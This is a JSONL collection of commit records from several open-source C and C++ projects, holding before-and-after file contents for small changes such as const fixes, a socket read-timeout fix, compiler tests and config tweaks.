{"commit":"64d0405834a9228234f2d3f8b80503d4c7309515","old_file":"include\/matrix_constructors_impl.h","new_file":"include\/matrix_constructors_impl.h","old_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ Constructors\n\/\/-----------------------------------------------------------------------------\n\ntemplate<class T>\nmatrix<T>::matrix():data_(),rows_(0),cols_(0){}\n\ntemplate<class T>\nmatrix<T>::matrix( std::size_t rows, std::size_t cols ):\n    data_(rows*cols),rows_(rows),cols_(cols){}\n\ntemplate<class T>\nmatrix<T>::matrix( std::initializer_list<std::initializer_list<T>> init_list):\n    data_( make_vector(init_list) ),\n    rows_(init_list.size()),cols_( init_list.begin()->size() ){}\n\n","new_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ Constructors\n\/\/-----------------------------------------------------------------------------\n\ntemplate<class T>\nmatrix<T>::matrix():data_(),rows_(0),cols_(0){}\n\ntemplate<class T>\nmatrix<T>::matrix( std::size_t rows, std::size_t cols ):\n    data_(rows*cols),rows_(rows),cols_(cols){}\n\ntemplate<class T>\nmatrix<T>::matrix( std::initializer_list<std::initializer_list<T>> init_list):\n    data_( make_vector(init_list) ),\n    rows_(init_list.size()),cols_( init_list.begin()->size() ){}\n    \/\/ !!!\n    \/\/\n    \/\/ Is \"init_list.begin()->size()\" ok if init_list = {} ?\n    \/\/\n    \/\/ !!!\n\n","subject":"Add question comment to constructor.","message":"Add question comment to constructor.\n","lang":"C","license":"mit","repos":"actinium\/cppMatrix,actinium\/cppMatrix"}
{"commit":"5cbfdaeb02fcf303e0b8d00b0ba4a91ba8320f53","old_file":"wayland\/input_device.h","new_file":"wayland\/input_device.h","old_contents":"\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef OZONE_WAYLAND_INPUT_DEVICE_H_\n#define OZONE_WAYLAND_INPUT_DEVICE_H_\n\n#include <wayland-client.h>\n#include \"base\/basictypes.h\"\n\nnamespace ozonewayland {\n\nclass WaylandKeyboard;\nclass WaylandPointer;\nclass WaylandDisplay;\nclass WaylandWindow;\n\nclass WaylandInputDevice {\n public:\n  WaylandInputDevice(WaylandDisplay* display, uint32_t id);\n  ~WaylandInputDevice();\n\n  wl_seat* GetInputSeat() { return input_seat_; }\n  WaylandKeyboard* GetKeyBoard() const { return input_keyboard_; }\n  WaylandPointer* GetPointer() const { return input_pointer_; }\n  unsigned GetFocusWindowHandle() { return focused_window_handle_; }\n  void SetFocusWindowHandle(unsigned windowhandle);\n\n private:\n  static void OnSeatCapabilities(void *data,\n                                 wl_seat *seat,\n                                 uint32_t caps);\n\n  \/\/ Keeps track of current focused window.\n  unsigned focused_window_handle_;\n  wl_seat* input_seat_;\n  WaylandKeyboard* input_keyboard_;\n  WaylandPointer* input_pointer_;\n\n  DISALLOW_COPY_AND_ASSIGN(WaylandInputDevice);\n};\n\n}  \/\/ namespace ozonewayland\n\n#endif  \/\/ OZONE_WAYLAND_INPUT_DEVICE_H_\n","new_contents":"\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef OZONE_WAYLAND_INPUT_DEVICE_H_\n#define OZONE_WAYLAND_INPUT_DEVICE_H_\n\n#include <wayland-client.h>\n#include \"base\/basictypes.h\"\n\nnamespace ozonewayland {\n\nclass WaylandKeyboard;\nclass WaylandPointer;\nclass WaylandDisplay;\nclass WaylandWindow;\n\nclass WaylandInputDevice {\n public:\n  WaylandInputDevice(WaylandDisplay* display, uint32_t id);\n  ~WaylandInputDevice();\n\n  wl_seat* GetInputSeat() const { return input_seat_; }\n  WaylandKeyboard* GetKeyBoard() const { return input_keyboard_; }\n  WaylandPointer* GetPointer() const { return input_pointer_; }\n  unsigned GetFocusWindowHandle() const { return focused_window_handle_; }\n  void SetFocusWindowHandle(unsigned windowhandle);\n\n private:\n  static void OnSeatCapabilities(void *data,\n                                 wl_seat *seat,\n                                 uint32_t caps);\n\n  \/\/ Keeps track of current focused window.\n  unsigned focused_window_handle_;\n  wl_seat* input_seat_;\n  WaylandKeyboard* input_keyboard_;\n  WaylandPointer* input_pointer_;\n\n  DISALLOW_COPY_AND_ASSIGN(WaylandInputDevice);\n};\n\n}  \/\/ namespace ozonewayland\n\n#endif  \/\/ OZONE_WAYLAND_INPUT_DEVICE_H_\n","subject":"Make read only functions as const.","message":"Inputs: Make read only functions as const.\n\nAdds missing const keyword for Read only functions in WaylandInputDevice.\n","lang":"C","license":"bsd-3-clause","repos":"01org\/ozone-wayland,hongzhang-yan\/ozone-wayland,rakuco\/ozone-wayland,baillaw\/ozone-wayland,qjia7\/ozone-wayland,joone\/ozone-wayland,nagineni\/ozone-wayland,hongzhang-yan\/ozone-wayland,kishansheshagiri\/ozone-wayland,darktears\/ozone-wayland,kuscsik\/ozone-wayland,siteshwar\/ozone-wayland,Tarnyko\/ozone-wayland,Tarnyko\/ozone-wayland,siteshwar\/ozone-wayland,01org\/ozone-wayland,kishansheshagiri\/ozone-wayland,shaochangbin\/ozone-wayland,hongzhang-yan\/ozone-wayland,darktears\/ozone-wayland,sjnewbury\/ozone-wayland,clopez\/ozone-wayland,joone\/ozone-wayland,siteshwar\/ozone-wayland,nicoguyo\/ozone-wayland,01org\/ozone-wayland,clopez\/ozone-wayland,speedpat\/ozone-wayland,mrunalk\/ozone-wayland,shaochangbin\/ozone-wayland,racarr-ubuntu\/ozone-mir,tiagovignatti\/ozone-wayland,joone\/ozone-wayland,darktears\/ozone-wayland,nicoguyo\/ozone-wayland,ds-hwang\/ozone-wayland,likewise\/ozone-wayland,joone\/ozone-wayland,AndriyP\/ozone-wayland,hongzhang-yan\/ozone-wayland,speedpat\/ozone-wayland,shaochangbin\/ozone-wayland,kuscsik\/ozone-wayland,nagineni\/ozone-wayland,baillaw\/ozone-wayland,sjnewbury\/ozone-wayland,kuscsik\/ozone-wayland,kalyankondapally\/ozone-wayland,nagineni\/ozone-wayland,AndriyP\/ozone-wayland,rakuco\/ozone-wayland,AndriyP\/ozone-wayland,kishansheshagiri\/ozone-wayland,AndriyP\/ozone-wayland,nicoguyo\/ozone-wayland,baillaw\/ozone-wayland,racarr-ubuntu\/ozone-mir,nicoguyo\/ozone-wayland,kuscsik\/ozone-wayland,darktears\/ozone-wayland,qjia7\/ozone-wayland,rakuco\/ozone-wayland,01org\/ozone-wayland,tiagovignatti\/ozone-wayland,ds-hwang\/ozone-wayland,mrunalk\/ozone-wayland,baillaw\/ozone-wayland,speedpat\/ozone-wayland,mrunalk\/ozone-wayland,speedpat\/ozone-wayland,kalyankondapally\/ozone-wayland,Tarnyko\/ozone-wayland,nagineni\/ozone-wayland,likewise\/ozone-wayland,qjia7\/ozone-wayland,mrunalk\/ozone-wayland,likewise\/ozone-wayland,kalyankondapally\/ozone-wayland,shaochangbin\/ozone-wayland,sjnewbury\/ozone-wayland,likewise\/ozone-wayland,siteshwar\/ozone-wayland,rakuco\/ozone-wayland,ds-hwang\/ozone-wayland,tiagovignatti\/ozone-wayland,kalyankondapally\/ozone-wayland,racarr-ubuntu\/ozone-mir,kishansheshagiri\/ozone-wayland,Tarnyko\/ozone-wayland,qjia7\/ozone-wayland,clopez\/ozone-wayland,sjnewbury\/ozone-wayland,tiagovignatti\/ozone-wayland,racarr-ubuntu\/ozone-mir,clopez\/ozone-wayland,ds-hwang\/ozone-wayland"}
{"commit":"1211ce98a12c4990d6d506cbdb9fb5024ad0100a","old_file":"services\/inputaxis.h","new_file":"services\/inputaxis.h","old_contents":"#ifndef INPUT_AXIS_H\n#define INPUT_AXIS_H\n\n#include \"..\/services.h\"\n#include <stdbool.h>\n\ntypedef struct {\n\tbool invert;\n\tbool enabled;\n\n\t\/* Deadzone *\/\n\tdouble negative_deadzone;\n\tdouble positive_deadzone;\n\n\t\/* Max\/min *\/\n\tdouble negative_maximum;\n\tdouble positive_maximum;\n} axis_config;\n\ntypedef struct {\n\tconst char* name;\n\tdouble value;\n\n\taxis_config* settings;\n} inputaxis;\n\ntypedef struct {\n\tsize_t num_inputaxes;\n\tinputaxis* axes;\n} inputaxis_data;\n\nconst axis_config* default_settings();\n\ndouble get_input_for_axis(void*, const char*);\nint update_axis_value(inputaxis_data*, const char* name, double val);\n\nint create_axis(inputaxis_data*, const char* name, axis_config*);\nint delete_axis(inputaxis_data*, const char* name, axis_config**);\n\naxis_config* get_axis_settings(inputaxis_data*, const char* name);\nint set_axis_settings(inputaxis_data*, const char* name, axis_config* settings);\n\ninput* create_inputaxis();\ninputaxis_data* delete_inputaxis(input*);\n\n#endif \/* INPUT_AXIS_H *\/\n","new_contents":"#ifndef INPUT_AXIS_H\n#define INPUT_AXIS_H\n\n#include \"..\/services.h\"\n#include <stdbool.h>\n\ntypedef struct {\n\tbool invert;\n\tbool enabled;\n\n\t\/* Deadzone *\/\n\tdouble negative_deadzone;\n\tdouble positive_deadzone;\n\n\t\/* Max\/min *\/\n\tdouble negative_maximum;\n\tdouble positive_maximum;\n} axis_config;\n\ntypedef struct {\n\tconst char* name;\n\tdouble value;\n\n\taxis_config* settings;\n} inputaxis;\n\ntypedef struct {\n\tsize_t num_inputaxes;\n\tinputaxis* axes;\n} inputaxis_data;\n\nconst axis_config* default_settings();\n\ndouble get_input_for_axis(void*, const char*);\nint update_axis_value(inputaxis_data*, const char* name, double val);\nvoid reset_axis_values(inputaxis_data* d);\n\nint create_axis(inputaxis_data*, const char* name, axis_config*);\nint delete_axis(inputaxis_data*, const char* name, axis_config**);\n\naxis_config* get_axis_settings(inputaxis_data*, const char* name);\nint set_axis_settings(inputaxis_data*, const char* name, axis_config* settings);\n\ninput* create_inputaxis();\ninputaxis_data* delete_inputaxis(input*);\n\n#endif \/* INPUT_AXIS_H *\/\n","subject":"Add new function to header","message":"Add new function to header\n","lang":"C","license":"mit","repos":"n00bDooD\/geng,n00bDooD\/geng,n00bDooD\/geng"}
{"commit":"ebb41c4ea260ab9905c7697648e2d1bb4b3914c8","old_file":"client.c","new_file":"client.c","old_contents":"#include <stdio.h>\n#include <sys\/socket.h>\n#include <netdb.h>\n#include <string.h>\n#include <unistd.h>\n\nint main(int argc, char *argv[])\n{\n    char *host = \"127.0.0.1\";\n    int port = 2000;\n    int timeout = 2;\n\n    int sockfd, n;\n\n    char buffer[256];\n\n    struct sockaddr_in serv_addr;\n    struct hostent *server;\n    struct timeval tv;\n\n    tv.tv_sec = timeout;\n\n    server = gethostbyname(host);\n    bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);\n    serv_addr.sin_port = htons(port);\n    serv_addr.sin_family = AF_INET;\n\n    sockfd = socket(AF_INET, SOCK_STREAM, 0);\n    setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(struct timeval));\n    setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(struct timeval));\n    connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));\n\n    n = read(sockfd, buffer, 255);\n\n    if (n < 0) {\n        perror(\"error reading from socket\");\n        return 1;\n    }\n\n    printf(\"%s\\n\", buffer);\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <sys\/socket.h>\n#include <netdb.h>\n#include <string.h>\n#include <unistd.h>\n\nint main(int argc, char *argv[])\n{\n    char *host = \"127.0.0.1\";\n    int port = 2000;\n    int timeout = 2;\n\n    int sockfd, n;\n\n    char buffer[256];\n\n    struct sockaddr_in serv_addr;\n    struct hostent *server;\n    struct timeval tv;\n\n    tv.tv_sec = timeout;\n    tv.tv_usec = 0;\n\n    server = gethostbyname(host);\n    bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);\n    serv_addr.sin_port = htons(port);\n    serv_addr.sin_family = AF_INET;\n\n    sockfd = socket(AF_INET, SOCK_STREAM, 0);\n    setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(struct timeval));\n    setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(struct timeval));\n    connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));\n\n    n = read(sockfd, buffer, 255);\n\n    if (n < 0) {\n        perror(\"error reading from socket\");\n        return 1;\n    }\n\n    printf(\"%s\\n\", buffer);\n    return 0;\n}\n","subject":"Fix for Ubuntu 14.04, CentOS should work too","message":"Fix for Ubuntu 14.04, CentOS should work too\n\nAssign zero to tv.tv_usec, or it maybe any value.\r\nThe c version tiemout works on Ubuntu 14.04 after my fix.","lang":"C","license":"mit","repos":"moret\/socket-read-timeout,moret\/socket-read-timeout"}
{"commit":"84ce51804b0bef5931a83fb48a5dbafc1e793443","old_file":"cc1\/tests\/test017.c","new_file":"cc1\/tests\/test017.c","old_contents":"","new_contents":"\/*\nname: TEST017\ndescription: Basic test about pointers and structs\noutput:\nF1\nG9\tF1\tmain\n{\n-\nS2\ts1\n(\nM3\tI\ty\nM4\tI\tz\n)\nA2\tS2\tnested\nS6\ts2\n(\nM8\tP\tp\n)\nA3\tS6\tv\n\tA3\tM8\t.P\tA2\t'P\t:P\n\tA3\tM8\t.P\t@S2\tM3\t.I\t#I1\t:I\n\tA3\tM8\t.P\t@S2\tM4\t.I\t#I2\t:I\n\tj\tL4\tA2\tM3\t.I\t#I1\t=I\n\tyI\t#I1\nL4\n\tj\tL5\tA2\tM4\t.I\t#I2\t=I\n\tyI\t#I2\nL5\n\tyI\t#I0\n}\n*\/\n\n#line 1\n\nstruct s1 {\n    int y;\n    int z;\n};\n\nstruct s2 {\n    struct s1 *p;\n};\n\nint main()\n{\n    struct s1 nested;\n    struct s2 v;\n    v.p = &nested;\n    v.p->y = 1;\n    v.p->z = 2;\n    if (nested.y != 1)\n        return 1;\n    if (nested.z != 2)\n        return 2;\n    return 0;\n}\n","subject":"Add basic test about pointer and structs","message":"Add basic test about pointer and structs\n","lang":"C","license":"mit","repos":"8l\/scc,k0gaMSX\/kcc,k0gaMSX\/kcc,k0gaMSX\/scc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/scc,8l\/scc"}
{"commit":"43a917f2aefddfde5c9292fa2fa2267e3fd9751e","old_file":"common.h","new_file":"common.h","old_contents":"#pragma once\n\n#define pi (3.14159265358979323846)\n\n#define abort_on_error(where, error) ({ \\\n    typeof(where) _where = where; \\\n    typeof(error) _error = error; \\\n    \\\n    if(_error) { \\\n        fprintf( \\\n            stderr, \\\n            __FILE__ \":%d: %s error (%#x).\\n\", \\\n            __LINE__, \\\n            _where, \\\n            _error \\\n        ); \\\n    } \\\n})\n","new_contents":"#pragma once\n#include <stdlib.h>\n\n#define pi (3.14159265358979323846)\n\n#define abort_on_error(where, error) ({ \\\n    typeof(where) _where = where; \\\n    typeof(error) _error = error; \\\n    \\\n    if(_error) { \\\n        fprintf( \\\n            stderr, \\\n            __FILE__ \":%d: %s error (%#x).\\n\", \\\n            __LINE__, \\\n            _where, \\\n            _error \\\n        ); \\\n        \\\n        exit(-1); \\\n    } \\\n})\n","subject":"Fix abort_on_error: Don't forget to exit(-1).","message":"Fix abort_on_error: Don't forget to exit(-1).\n","lang":"C","license":"agpl-3.0","repos":"sonetto\/lloyd,sonetto\/lloyd"}
{"commit":"ad6cd72787fdee1d56e5589c9bc07df4f5e8b4d8","old_file":"clangd\/FSProvider.h","new_file":"clangd\/FSProvider.h","old_contents":"\/\/===--- FSProvider.h - VFS provider for ClangdServer ------------*- C++-*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_TOOLS_EXTRA_CLANGD_FSPROVIDER_H\n#define LLVM_CLANG_TOOLS_EXTRA_CLANGD_FSPROVIDER_H\n\n#include \"llvm\/ADT\/IntrusiveRefCntPtr.h\"\n#include \"llvm\/Support\/VirtualFileSystem.h\"\n\nnamespace clang {\nnamespace clangd {\n\n\/\/ Wrapper for vfs::FileSystem for use in multithreaded programs like clangd.\n\/\/ As FileSystem is not threadsafe, concurrent threads must each obtain one.\nclass FileSystemProvider {\npublic:\n  virtual ~FileSystemProvider() = default;\n  \/\/\/ Called by ClangdServer to obtain a vfs::FileSystem to be used for parsing.\n  \/\/\/ Context::current() will be the context passed to the clang entrypoint,\n  \/\/\/ such as addDocument(), and will also be propagated to result callbacks.\n  \/\/\/ Embedders may use this to isolate filesystem accesses.\n  virtual IntrusiveRefCntPtr<llvm::vfs::FileSystem> getFileSystem() const = 0;\n};\n\nclass RealFileSystemProvider : public FileSystemProvider {\npublic:\n  \/\/ FIXME: returns the single real FS instance, which is not threadsafe.\n  IntrusiveRefCntPtr<llvm::vfs::FileSystem> getFileSystem() const override {\n    return llvm::vfs::getRealFileSystem();\n  }\n};\n\n} \/\/ namespace clangd\n} \/\/ namespace clang\n\n#endif\n","new_contents":"\/\/===--- FSProvider.h - VFS provider for ClangdServer ------------*- C++-*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_TOOLS_EXTRA_CLANGD_FSPROVIDER_H\n#define LLVM_CLANG_TOOLS_EXTRA_CLANGD_FSPROVIDER_H\n\n#include \"llvm\/ADT\/IntrusiveRefCntPtr.h\"\n#include \"llvm\/Support\/VirtualFileSystem.h\"\n\nnamespace clang {\nnamespace clangd {\n\n\/\/ Wrapper for vfs::FileSystem for use in multithreaded programs like clangd.\n\/\/ As FileSystem is not threadsafe, concurrent threads must each obtain one.\nclass FileSystemProvider {\npublic:\n  virtual ~FileSystemProvider() = default;\n  \/\/\/ Called by ClangdServer to obtain a vfs::FileSystem to be used for parsing.\n  \/\/\/ Context::current() will be the context passed to the clang entrypoint,\n  \/\/\/ such as addDocument(), and will also be propagated to result callbacks.\n  \/\/\/ Embedders may use this to isolate filesystem accesses.\n  virtual llvm::IntrusiveRefCntPtr<llvm::vfs::FileSystem>\n  getFileSystem() const = 0;\n};\n\nclass RealFileSystemProvider : public FileSystemProvider {\npublic:\n  \/\/ FIXME: returns the single real FS instance, which is not threadsafe.\n  llvm::IntrusiveRefCntPtr<llvm::vfs::FileSystem>\n  getFileSystem() const override {\n    return llvm::vfs::getRealFileSystem();\n  }\n};\n\n} \/\/ namespace clangd\n} \/\/ namespace clang\n\n#endif\n","subject":"Fix the qualification of `IntrusiveRefCntPtr` to use `llvm::`.","message":"Fix the qualification of `IntrusiveRefCntPtr` to use `llvm::`.\n\nWithout this, the code only compiled if the header was included after\nsomething introduced the alias from `clang::` to `llvm::` for this type.\nAny modules build would fail here.\n\ngit-svn-id: a34e9779ed74578ad5922b3306b3d80a0c825546@344225 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra"}
{"commit":"bd2d4478e5228b3a9c67e7b36ce018afb400ff7d","old_file":"ionAsset\/IUniform.h","new_file":"ionAsset\/IUniform.h","old_contents":"\r\n#pragma once\r\n\r\n#include <ionGL.h>\r\n\r\n\r\ntypedef ion::GL::Uniform IUniform;\r\n\r\ntemplate <typename T>\r\nusing CUniformValue = ion::GL::UniformValue<T>;\r\n\r\ntemplate <typename T>\r\nusing CUniformReference = ion::GL::UniformReference<T>;\r\n","new_contents":"\r\n#pragma once\r\n\r\n#include <ionGL.h>\r\n\r\n\r\ntypedef ion::GL::Uniform IUniform;\r\n\r\ntemplate <typename T>\r\nusing CUniformValue = ion::GL::UniformValue<T>;\r\n\r\ntemplate <typename T>\r\nusing CUniformReference = ion::GL::UniformReference<T>;\r\n\r\n\r\ntypedef ion::GL::VertexBuffer CVertexBuffer;\r\ntypedef ion::GL::IndexBuffer CIndexBuffer;\r\n","subject":"Add typedefs for VertexBuffer, IndexBuffer in GL","message":"Add typedefs for VertexBuffer, IndexBuffer in GL\n","lang":"C","license":"mit","repos":"iondune\/ionEngine,iondune\/ionEngine"}
{"commit":"fe229791e558fe9156e74d5e0ef3679c1a99fb13","old_file":"includes\/iloglistener.h","new_file":"includes\/iloglistener.h","old_contents":"\/\/ Copyright 2016 Airtame\n\n#ifndef MANAGEDEVICE_LOGGING_ILOGLISTENER_H_\n#define MANAGEDEVICE_LOGGING_ILOGLISTENER_H_\n\n#include <string>\n\n\/\/ Forward declarations.\nenum class ELogLevel;\n\nclass ILogListener {\npublic:\n    virtual ~ILogListener() {}\n    virtual void Notify(const std::string& iLog, ELogLevel iLevel) = 0;\n};\n\n#endif  \/\/ MANAGEDEVICE_LOGGING_ILOGLISTENER_H_\n","new_contents":"\/\/ Copyright 2016 Pierre Fourgeaud\n\n#ifndef PF_ILOGLISTENER_H_\n#define PF_ILOGLISTENER_H_\n\n#include <string>\n\n\/\/ Forward declarations.\nenum class ELogLevel;\n\n\n\/**\n * @brief The ILogListener class\n *\n * Define an interface to implement when creating a new LogListener.\n * SimpleLogger provide 3 default listeners: Buffer, File, Console.\n *\n * Implement this class if you want to create your own listener.\n *\/\nclass ILogListener {\npublic:\n    \/**\n     * Virtual destructor.\n     *\/\n    virtual ~ILogListener() {}\n\n    \/**\n     * Pure virtual method to implement when implementing this interface.\n     * Method called when getting notified.\n     *\n     * @params iLog The string representing the messag to log\n     * @params iLevel Log level of this message\n     *\/\n    virtual void Notify(const std::string& iLog, ELogLevel iLevel) = 0;\n};\n\n#endif \/\/ PF_ILOGLISTENER_H_\n","subject":"Update ILogListener interface with docs","message":"Update ILogListener interface with docs\n","lang":"C","license":"mit","repos":"pierrefourgeaud\/SimpleLogger"}
{"commit":"21c61e46afee3db7179afdb54eb43461d2e7e90b","old_file":"Runtime\/Rendering\/ConstantBufferDX11.h","new_file":"Runtime\/Rendering\/ConstantBufferDX11.h","old_contents":"#pragma once\n#include \"Rendering\/BufferDX11.h\"\n#include \"Rendering\/ShaderDX11.h\"\n\nnamespace Mile\n{\n   class MEAPI ConstantBufferDX11 : public BufferDX11\n   {\n   public:\n      ConstantBufferDX11(RendererDX11* renderer);\n      ~ConstantBufferDX11();\n\n      bool Init(unsigned int size);\n\n      virtual ERenderResourceType GetResourceType() const override { return ERenderResourceType::ConstantBuffer; }\n\n      virtual void* Map(ID3D11DeviceContext& deviceContext) override;\n      virtual bool UnMap(ID3D11DeviceContext& deviceContext) override;\n\n      bool Bind(ID3D11DeviceContext& deviceContext, unsigned int slot, EShaderType shaderType);\n      void Unbind(ID3D11DeviceContext& deviceContext);\n\n      FORCEINLINE bool IsBound() const { return m_bIsBound; }\n      FORCEINLINE unsigned int GetBoundSlot() const { return m_boundSlot; }\n      FORCEINLINE EShaderType GetBoundShaderType() const { return m_boundShader; }\n\n   private:\n      bool           m_bIsBound;\n      unsigned int   m_boundSlot;\n      EShaderType    m_boundShader;\n\n   };\n}","new_contents":"#pragma once\n#include \"Rendering\/BufferDX11.h\"\n#include \"Rendering\/ShaderDX11.h\"\n\nnamespace Mile\n{\n   class MEAPI ConstantBufferDX11 : public BufferDX11\n   {\n   public:\n      ConstantBufferDX11(RendererDX11* renderer);\n      ~ConstantBufferDX11();\n\n      bool Init(unsigned int size);\n      template <typename Buffer>\n      bool Init()\n      {\n         return Init(sizeof(Buffer));\n      }\n\n      virtual ERenderResourceType GetResourceType() const override { return ERenderResourceType::ConstantBuffer; }\n\n      virtual void* Map(ID3D11DeviceContext& deviceContext) override;\n      virtual bool UnMap(ID3D11DeviceContext& deviceContext) override;\n\n      bool Bind(ID3D11DeviceContext& deviceContext, unsigned int slot, EShaderType shaderType);\n      void Unbind(ID3D11DeviceContext& deviceContext);\n\n      FORCEINLINE bool IsBound() const { return m_bIsBound; }\n      FORCEINLINE unsigned int GetBoundSlot() const { return m_boundSlot; }\n      FORCEINLINE EShaderType GetBoundShaderType() const { return m_boundShader; }\n\n   private:\n      bool           m_bIsBound;\n      unsigned int   m_boundSlot;\n      EShaderType    m_boundShader;\n\n   };\n}","subject":"Add template Init method for ConstantBuffer","message":"Add template Init method for ConstantBuffer\n","lang":"C","license":"mit","repos":"HoRangDev\/MileEngine,HoRangDev\/MileEngine"}
{"commit":"3502deee1a93e86a97fb22df1cdb512c5a643dd6","old_file":"test\/PCH\/functions.c","new_file":"test\/PCH\/functions.c","old_contents":"\/\/ Test this without pch.\n\/\/ RUN: clang-cc -include %S\/functions.h -fsyntax-only -verify %s &&\n\n\/\/ Test with pch.\n\/\/ RUN: clang-cc -emit-pch -o %t %S\/functions.h &&\n\/\/ RUN: clang-cc -include-pch %t -fsyntax-only -verify %s \n\nint f0(int x0, int y0, ...) { return x0 + y0; }\n\nfloat *test_f1(int val, double x, double y) {\n  if (val > 5)\n    return f1(x, y);\n  else\n    return f1(x); \/\/ expected-error{{too few arguments to function call}}\n  return 0;\n}\n\nvoid test_g0(int *x, float * y) {\n  g0(y); \/\/ expected-warning{{incompatible pointer types passing 'float *', expected 'int *'}}\n  g0(x); \n}\n","new_contents":"\/\/ Test this without pch.\n\/\/ RUN: clang-cc -include %S\/functions.h -fsyntax-only -verify %s &&\n\n\/\/ Test with pch.\n\/\/ RUN: clang-cc -emit-pch -o %t %S\/functions.h &&\n\/\/ RUN: clang-cc -include-pch %t -fsyntax-only -verify %s \n\nint f0(int x0, int y0, ...) { return x0 + y0; }\n\nfloat *test_f1(int val, double x, double y) {\n  if (val > 5)\n    return f1(x, y);\n  else\n    return f1(x); \/\/ expected-error{{too few arguments to function call}}\n}\n\nvoid test_g0(int *x, float * y) {\n  g0(y); \/\/ expected-warning{{incompatible pointer types passing 'float *', expected 'int *'}}\n  g0(x); \n}\n","subject":"Revert this, we can now avoid error cascades better.","message":"Revert this, we can now avoid error cascades better.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@76691 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"3d8ad86be25865eee842ca5e683ac3f525dc8783","old_file":"config\/config_kmalloc.h","new_file":"config\/config_kmalloc.h","old_contents":"\/* SPDX-License-Identifier: BSD-2-Clause *\/\n\n\/*\n * This is a TEMPLATE. The actual config file is generated by CMake and stored\n * in <BUILD_DIR>\/tilck_gen_headers\/.\n *\/\n\n#pragma once\n#include <tilck_gen_headers\/config_global.h>\n\n\/* --------- Boolean config variables --------- *\/\n\n#cmakedefine01 KMALLOC_FREE_MEM_POISONING\n#cmakedefine01 KMALLOC_HEAVY_STATS\n#cmakedefine01 KMALLOC_SUPPORT_DEBUG_LOG\n#cmakedefine01 KMALLOC_SUPPORT_LEAK_DETECTOR\n\n\/*\n * --------------------------------------------------------------------------\n *                  Hard-coded global & derived constants\n * --------------------------------------------------------------------------\n *\n * Here below there are many dervied constants and convenience constants like\n * COMPILER_NAME along with some pseudo-constants like USERMODE_VADDR_END not\n * designed to be easily changed because of the code makes assumptions about\n * them. Because of that, those constants are hard-coded and not available as\n * CMake variables. With time, some of those constants get \"promoted\" and moved\n * in CMake, others remain here. See the comments and think about the potential\n * implications before promoting a hard-coded constant to a configurable CMake\n * variable.\n *\/\n\n#if !KERNEL_GCOV\n   #define KMALLOC_FIRST_HEAP_SIZE    ( 128 * KB)\n#else\n   #define KMALLOC_FIRST_HEAP_SIZE    ( 512 * KB)\n#endif\n","new_contents":"\/* SPDX-License-Identifier: BSD-2-Clause *\/\n\n\/*\n * This is a TEMPLATE. The actual config file is generated by CMake and stored\n * in <BUILD_DIR>\/tilck_gen_headers\/.\n *\/\n\n#pragma once\n#include <tilck_gen_headers\/config_global.h>\n\n\/* --------- Boolean config variables --------- *\/\n\n#cmakedefine01 KMALLOC_FREE_MEM_POISONING\n#cmakedefine01 KMALLOC_HEAVY_STATS\n#cmakedefine01 KMALLOC_SUPPORT_DEBUG_LOG\n#cmakedefine01 KMALLOC_SUPPORT_LEAK_DETECTOR\n\n\/*\n * --------------------------------------------------------------------------\n *                  Hard-coded global & derived constants\n * --------------------------------------------------------------------------\n *\n * Here below there are many dervied constants and convenience constants like\n * COMPILER_NAME along with some pseudo-constants like USERMODE_VADDR_END not\n * designed to be easily changed because of the code makes assumptions about\n * them. Because of that, those constants are hard-coded and not available as\n * CMake variables. With time, some of those constants get \"promoted\" and moved\n * in CMake, others remain here. See the comments and think about the potential\n * implications before promoting a hard-coded constant to a configurable CMake\n * variable.\n *\/\n\n#if KERNEL_MAX_SIZE <= 1024 * KB\n   #define KMALLOC_FIRST_HEAP_SIZE    ( 128 * KB)\n#else\n   #define KMALLOC_FIRST_HEAP_SIZE    ( 512 * KB)\n#endif\n","subject":"Make KMALLOC_FIRST_HEAP_SIZE depend on KERNEL_MAX_SIZE","message":"[config] Make KMALLOC_FIRST_HEAP_SIZE depend on KERNEL_MAX_SIZE\n","lang":"C","license":"bsd-2-clause","repos":"vvaltchev\/experimentOs,vvaltchev\/experimentOs,vvaltchev\/experimentOs,vvaltchev\/experimentOs"}
